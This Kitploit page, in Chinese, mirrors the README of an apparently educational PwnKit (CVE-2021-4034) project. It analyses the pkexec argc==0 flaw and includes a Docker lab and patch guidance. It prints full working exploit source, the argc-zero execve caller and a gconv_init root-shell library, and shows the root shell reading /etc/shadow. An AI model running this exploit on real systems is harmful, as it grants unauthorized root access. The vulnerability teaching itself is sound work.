Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
WHS4_CVE-2021-4034 — 针对CVE-2021-4034(PwnKit)本地权限提升漏洞(存在于polkit的pkexec组件中)的教育性PoC与分析,包含基于Docker的实验室,用于实践利用与防御技术。 | Kitploit
工具/GitHubGitHub/krleejihyeong/whs4_cve-2021-4034
权限提升漏洞分析漏洞利用CTF渗透测试学习与教育二进制利用实验室与实践
GitHubkrleejihyeong/whs4_cve-2021-4034

WHS4_CVE-2021-4034

针对CVE-2021-4034(PwnKit)本地权限提升漏洞(存在于polkit的pkexec组件中)的教育性PoC与分析,包含基于Docker的实验室,用于实践利用与防御技术。

查看仓库
61个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-4034 (PwnKit) - 本地权限提升 PoC

🔗 原始项目:berdav/CVE-2021-4034
本项目基于原始项目,出于教育目的进行分析和修改。
遵守 MIT 许可证 | 白帽学校(White Hat School)教育课题


📋 概述

CVE-2021-4034 是 Linux policykit-1(PolicyKit)中的一个本地权限提升漏洞。普通用户可以在不提供参数的情况下执行 pkexec,利用进程内存结构的缺陷,使得本应被过滤的环境变量字符串被 glib 再次引用,从而加载恶意的 .so 文件,最终获取 root 权限。

⚠️ 仅供教育用途:此代码只能在经过修改的系统中使用。
若用于攻击真实系统,可能会承担法律责任。


🎯 漏洞概要

项目内容
CVE IDCVE-2021-4034
漏洞名称PwnKit
影响版本未应用补丁的 polkit 0.105 之前的所有版本(测试环境:Ubuntu 20.04 上的 policykit-1 0.105-26ubuntu1)
漏洞类型本地权限提升 (LPE)
严重程度严重 (CVSS 7.8)
补丁版本policykit-1 >= 0.105-26ubuntu1.1
发现日期2021 年 6 月(2022 年 1 月公开)

容易被误认为只是 Ubuntu 的问题,但由于这是 pkexec 本身的逻辑缺陷,使用 polkit 的大多数发行版都会受到影响。因为 Docker 测试环境是 Ubuntu 20.04,所以上表也列出了该版本。


🔴 漏洞核心

最初分析时以为是“未验证环境变量导致的问题”,但结合源代码和补丁提交来看,发现顺序其实不太一样。真正的原因另有其物,环境变量问题只是该原因导致的结果。以下是按原因顺序整理的过程。

1. pkexec 是什么?

pkexec 是通过 PolicyKit 请求权限提升的 SUID-root 程序。

root@kitploit:~
# 示例:以 root 权限执行命令
pkexec /bin/id
pkexec systemctl restart service

它用于普通用户以管理员权限执行特定操作。


2. 真正根本原因:pkexec 未处理 argc == 0 的情况

pkexec 的 main() 函数在处理命令行参数时,没有验证参数为零的情况(argc == 0)。这才是该漏洞真正的起点。

  • 正常执行:argv = {"pkexec", "命令", NULL} → argc >= 1
  • 攻击执行:execve("/usr/bin/pkexec", {NULL}, env) → argc == 0

当 argc 为 0 时,argv 列表中只剩下一个表示结束的 NULL。但 pkexec 的内部逻辑仍然尝试读取和写入不存在的 argv[1]。问题在于,Linux 在执行进程时,会将 argv 数组和 envp(环境变量)数组在内存上紧挨着放置。因此,越界的 argv[1] 实际上指向了 envp[0],即第一个环境变量。

root@kitploit:~
正常情况: argv = [ "pkexec" | NULL ]
攻击情况: argv = [ NULL ]                 ← argc = 0
                    ↑
             访问不存在的 argv[1]
                    ↓
     读取并写入内存中紧随其后的 envp[0](越界)

为什么危险:

  • 原本 ld.so 会在 SUID 程序(pkexec)执行前,将 GCONV_PATH、LD_PRELOAD 等危险环境变量标记为不安全并移除。
  • 但由于上述越界操作,本已被移除的字符串并没有“恢复为环境变量”,而是 argv 指针那边重新可以引用该字符串。也就是说,并非值被恢复,而是指向该值的指针连接被重新建立。
  • 实际补丁提交也是通过增加 argc < 1 时立即退出的验证逻辑来修复此问题。(对应 CWE-125 越界读取、CWE-787 越界写入)

📌 总结:环境变量未验证是“攻击得以进行的条件”,而真正的漏洞根因(root cause)是 pkexec 未处理 argc == 0 的情况。下面的第 3 点是由此原因导致的结果。


3. 结果:本应被过滤的字符串再次变得可引用

由于第 2 点中描述的越界行为,pkexec 在初始化 glib 时,这个字符串被未经验证地再次使用。

root@kitploit:~
// CVE-2021-4034_exploit.c
char * const env[] = {
    "GCONV_PATH=.",      // 原本应由 ld.so 过滤掉
    "CHARSET=PWNKIT",    // 不存在的编码
};

execve("/usr/bin/pkexec", args, env);  // argv 为空,造成 argc=0

问题:

  • 由于第 2 点的越界,该字符串再次变为可引用状态,并直接流入 glib 初始化阶段
  • glib 无法区分该值是原本存在的正常环境变量,还是攻击者恢复的

4. 滥用 glib 的转换器加载机制

这里重点是 glib 本身并没有做错。如果设置了 GCONV_PATH,则从该路径查找转换器是 glib 的正常行为。问题在于 pkexec 已经破坏了安全执行状态(危险环境变量已被移除的状态)——glib 只是正常运行,但其正常行为被利用了。

  1. 检查 CHARSET 环境变量

    root@kitploit:~
    CHARSET=PWNKIT
    
  2. 在 gconv-modules 文件中查找转换器定义

    root@kitploit:~
    module UTF-8// PWNKIT// pwnkit 1
    
  3. 从 GCONV_PATH 加载 .so 文件

    root@kitploit:~
    GCONV_PATH=. → 在当前目录查找 pwnkit.so
    
  4. 自动执行 .so 文件的初始化函数

    root@kitploit:~
    // pwnkit.c - 加载 .so 文件时自动执行
    void gconv_init(void *step)
    {
        setuid(0);           // 获取 root 权限
        setgid(0);
        execve("/bin/sh");   // 执行 root shell!
    }
    

    容易把 gconv_init 称为“构造函数”,但严格来说它与 C 的 __attribute__((constructor)) 不同。准确地说,它是 gconv 模块接口中定义的初始化函数,glib 使用 dlopen 加载 .so 后显式调用该函数。


5. 完整攻击流程

root@kitploit:~
┌─────────────────────────────────────┐
│ 普通用户 (uid=1000)                   │
└─────────────────────────────────────┘
          │
          │ 1. 清空 argv 并执行 pkexec (argc=0)
          │    + 设置恶意环境变量
          │    GCONV_PATH=.  /  CHARSET=PWNKIT
          ↓
┌─────────────────────────────────────┐
│ pkexec 执行                           │
│ 未验证 argc → 越界 → 字符串再次被引用   │
└─────────────────────────────────────┘
          │
          │ 2. glib 按正常逻辑处理
          │    查找 CHARSET=PWNKIT 编码
          │    在 GCONV_PATH=. 中寻找转换器
          ↓
┌─────────────────────────────────────┐
│ 加载 pwnkit.so                        │
│ (当前目录下的恶意 .so 文件)           │
└─────────────────────────────────────┘
          │
          │ 3. 自动执行 gconv 初始化函数(root 权限!)
          ↓
┌─────────────────────────────────────┐
│ 获取 root shell ✅                    │
│ uid=0(root) gid=0(root)              │
└─────────────────────────────────────┘

🚀 快速开始

必需条件

  • Docker(或 Docker Desktop)
  • git
  • Linux 环境(或 WSL 2)

执行命令

root@kitploit:~
# 1. 获取项目
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034

# 2. 更新至最新版本
git pull origin main

# 3. 构建(无缓存)
docker compose build --no-cache

# 4. 执行
docker compose up

docker system prune -a --volumes --force 仅在缓存或卷出现问题导致上述方法无效时才推荐使用。这是一个比较激进的命令,会清除整个系统的 Docker 缓存,可能导致其他项目的缓存也被清除。相关内容在下面的“遇到的问题及解决方法”中另行整理。

预期结果

root@kitploit:~
pwnkit  | 当前权限(攻击前): uid=1000(WHS4_student)
pwnkit  | # id
pwnkit  | uid=0(root) gid=0(root) groups=0(root)  ← 成功! ✅

实际结果


📁 项目结构

root@kitploit:~
WHS4_CVE-2021-4034/
├── docker-compose.yml          # Docker Compose 配置
├── Dockerfile                   # 存在漏洞的 Ubuntu 20.04 环境
├── start.sh                     # 容器初始化及自动执行
├── Makefile                     # 构建配置
├── CVE-2021-4034_exploit.c      # Exploit 代码(调用 pkexec)
├── pwnkit.c                     # 恶意 .so 文件(权限提升)
├── gconv-modules                # glib 转换器映射
├── README.md                    # 本文档
└── LICENSE                      # MIT 许可证

💻 PoC 代码分析

CVE-2021-4034_exploit.c

root@kitploit:~
#include <unistd.h>

int main(int argc, char *argv[])
{
    // 不为 pkexec 指定要执行的程序
    // (args 中只有 NULL)→ 这就是造成 argc=0 的部分
    char * const args[] = {
        NULL
    };

    // 🔴 未经验证的恶意环境变量
    // 由于 argc=0 导致的越界,它们再次变为可引用状态,直接传递给 pkexec
    char * const env[] = {
        "GCONV_PATH=.",          // 转换器路径(当前目录)
        "CHARSET=PWNKIT",        // 不存在的编码
        "SHELL=/bin/sh",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // 执行 pkexec(不带参数 → 触发 argc=0)
    execve("/usr/bin/pkexec", args, env);

    return 0;
}

核心:

  • args 中甚至不包含 pkexec 本身的名称,使得 argc 为 0 → 触发根本原因(未验证 argc)
  • GCONV_PATH=.:越界后再次可引用,glib 从该路径查找转换器
  • CHARSET=PWNKIT:诱导 glib 查找该编码的转换器

pwnkit.c

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// 使 .so 文件被识别为转换器所需的函数(形式上必需)
void gconv()
{
}

// 🎯 CVE-2021-4034 的核心
// 加载 .so 文件时,glib 使用 dlopen 后显式调用的初始化函数
// 该函数以 root 权限执行!← 核心漏洞!
void gconv_init(void *step)
{
    char * const args[] = {
        "/bin/sh",      // 执行 root shell
        NULL
    };
    char * const env[] = {
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // 显式设置 root 权限(虽然已经是 root)
    setuid(0);
    setgid(0);

    // 执行 root shell ← 权限提升成功!
    execve(args[0], args, env);

    exit(0);
}

核心:

  • gconv_init() 不是 C 构造函数属性,而是根据 gconv 模块接口规范,glib 在 dlopen 后直接调用的初始化函数
  • 由于 pkexec 以 root 权限运行,因此该函数也以 root 权限执行
  • 因此,执行 setuid(0) 后再执行 shell 即可直接得到 root shell

✅ 验证结果

以下验证结果基于自行搭建环境并亲自实施利用的情况。如果按快速开始执行,不会得到如下结果。

如果希望得到如下结果,需要利用该仓库中的 Dockerfile、start.sh 等文件自行搭建环境。

但由于 start.sh 和 Dockerfile 等文件是为了符合课题格式而进行了自动化,直接使用可能不会得到期望的结果。

因此,需要直接修改这些文件。

攻击前

root@kitploit:~
$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

实际攻击前权限

实际上该截图是首次利用成功时的画面,上方显示了用户权限。

执行攻击

root@kitploit:~
$ ./CVE-2021-4034_exploit

注意:exploit 本身不需要 sudo。由于 pkexec 本身就是 SUID-root 二进制程序,仅凭普通用户权限即可获得 root shell 正是该漏洞的核心。在 Docker 测试环境中曾使用过 sudo -E,但这只是为了方便检查 NOPASSWD 设置,与漏洞本身无关。

攻击后

root@kitploit:~
# id
uid=0(root) gid=0(root) groups=0(root)

# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (只有 root 才能看到的内容)

实际攻击后权限

上方可见攻击后已获得 root 权限。

若想更全面查看攻击前后的对比,建议参阅上方 ### 实际攻击前权限 部分的截图。

✅ 权限提升成功!


📊 评估指标

可复现性

在基于 Ubuntu 20.04 的 Docker 环境中复现成功(policykit-1 0.105-26ubuntu1)。由于重复测试次数尚不多,计划更换内核和发行版版本后多次运行,并补充结果。

风险评分:7.8 / 10.0 (严重,基于 CVSS 3.1)

  • 所需权限:非远程攻击,而是本地攻击,且不涉及远程认证绕过。只要拥有普通用户账户并登录,无需额外权限即可攻击(Privileges Required: Low)。意思是“并非完全不需要认证”,而是“需要登录,但不需要更高权限”。
  • 攻击向量:仅限本地(Attack Vector: Local)——无法直接在远程利用此漏洞,必须首先获得本地 shell 访问权限。
  • 影响范围:Scope: Changed。pkexec 通过 PolicyKit(一个独立的权限管理组件)以 root 权限执行,因此漏洞被利用时,会影响超出攻击发起权限域(普通用户)的其他安全权限域(root,PolicyKit 管理的系统整体)。因此 CVSS 将 Scope 评估为 Changed。
  • 影响要素:机密性/完整性/可用性(C/I/A)均为 High
  • 参考:NVD CVSS 向量详情

🛡️ 防御方法

立即应对

root@kitploit:~
# 1. 升级补丁(推荐)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1

# 检查版本
dpkg -l | grep policykit-1
# 必须为 0.105-26ubuntu1.1 或更高

sudo 限制

root@kitploit:~
# 修改 /etc/sudoers(使用 sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"

清理环境变量

root@kitploit:~
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET

补丁是根本解决方案,上述两种方法只是补丁前的临时措施。由于 argc 验证必须通过修改 pkexec 代码才能解决,仅阻止环境变量无法完全防御。


⚠️ 遇到的问题及解决方法

问题 1:找不到 docker-compose 命令

原因: Ubuntu 24.04 中没有 docker-compose(v1),只有 docker compose(v2)

解决:

root@kitploit:~
# 使用 docker compose 命令(v2)
docker compose up

问题 2:“密码请求:sudo password for WHS4_student”

原因: Dockerfile 中的 NOPASSWD 设置未正确生效(Docker 缓存问题)

解决:

root@kitploit:~
docker compose build --no-cache
docker compose up

如果仍不行,完全清除缓存后重试。

root@kitploit:~
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache

问题 3:GitHub 更新未反映到本地

原因: 本地文件保持为旧版本

解决:

root@kitploit:~
# 从 GitHub 获取最新版本
git pull origin main

# 检查文件
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"

# 重新构建
docker compose up --build --no-cache

问题 4:“The container name is already in use”

原因: 旧容器仍然存在

解决:

root@kitploit:~
# 移除容器
docker compose down
docker rm pwnkit -f

# 重新运行
docker compose up

问题 5:“permission denied”(文件权限)

原因: Docker 中生成的文件权限为 root

解决:

root@kitploit:~
# 在 WSL/Linux 中
sudo rm -rf WHS4_CVE-2021-4034

📚 参考及出处

原始项目

  • 作者:berdav
  • 仓库:https://github.com/berdav/CVE-2021-4034
  • 许可证:MIT License
  • 参考部分:
    • CVE-2021-4034_exploit.c 的基本结构
    • pwnkit.c 的 gconv_init 实现
    • gconv-modules 文件格式
    • Makefile 构建方式

本项目的修改及新增内容

作者:krleejihyeong

新编写/修改的部分:

  • ✅ docker-compose.yml:Docker 运行环境配置
  • ✅ Dockerfile:自动配置存在漏洞的环境(dbus、polkitd、NOPASSWD 设置)
  • ✅ start.sh:自动执行脚本(从构建到攻击执行完全自动化)
  • ✅ README.md:漏洞根本原因分析(argc 验证缺失)、复现结果、风险评分、问题解决指南编写
  • ✅ 韩文注释及说明:提升漏洞理解度

参考材料

  • Qualys:CVE-2021-4034 详细分析
  • NVD:CVE-2021-4034
  • PolicyKit 官方文档

📄 许可证

本项目遵循 MIT 许可证。

root@kitploit:~
Copyright (c) 2026 krleejihyeong(修改及分析)
Copyright (c) 2021 berdav(原始 PoC)

特此免费授予任何获得本软件及相关文档文件(“软件”)副本的人,不受限制地处理本软件的权利,包括但不限于使用、复制、修改、合并、发布、分发、再许可和/或销售软件副本的权利,并允许获得软件的人这样做,但须符合以下条件:

上述版权声明和本许可声明应包含在本软件的所有副本或实质性部分中。

本软件按“原样”提供,不提供任何明示或暗示的担保,包括但不限于适销性、特定用途的适用性和非侵权性。在任何情况下,作者或版权持有人均不对任何索赔、损害或其他责任负责,无论此类责任是基于合同、侵权或其他原因,是否由软件或软件的使用或其他交易引起。

详细信息请参阅 LICENSE 文件。


👤 作者

  • krleejihyeong - 分析、修改、Docker 环境配置、文档编写
  • berdav - 原始 PoC 编写(https://github.com/berdav/CVE-2021-4034)

⚠️ 法律声明

本项目纯属教育目的。

  • ✅ 针对已公开的 CVE
  • ✅ 仅在已修补的系统中测试
  • ✅ 在系统管理员的许可下使用
  • ✅ 旨在理解漏洞及加强防御

未经授权访问计算机系统将承担法律责任。


最后更新:2026 年 7 月

下载工具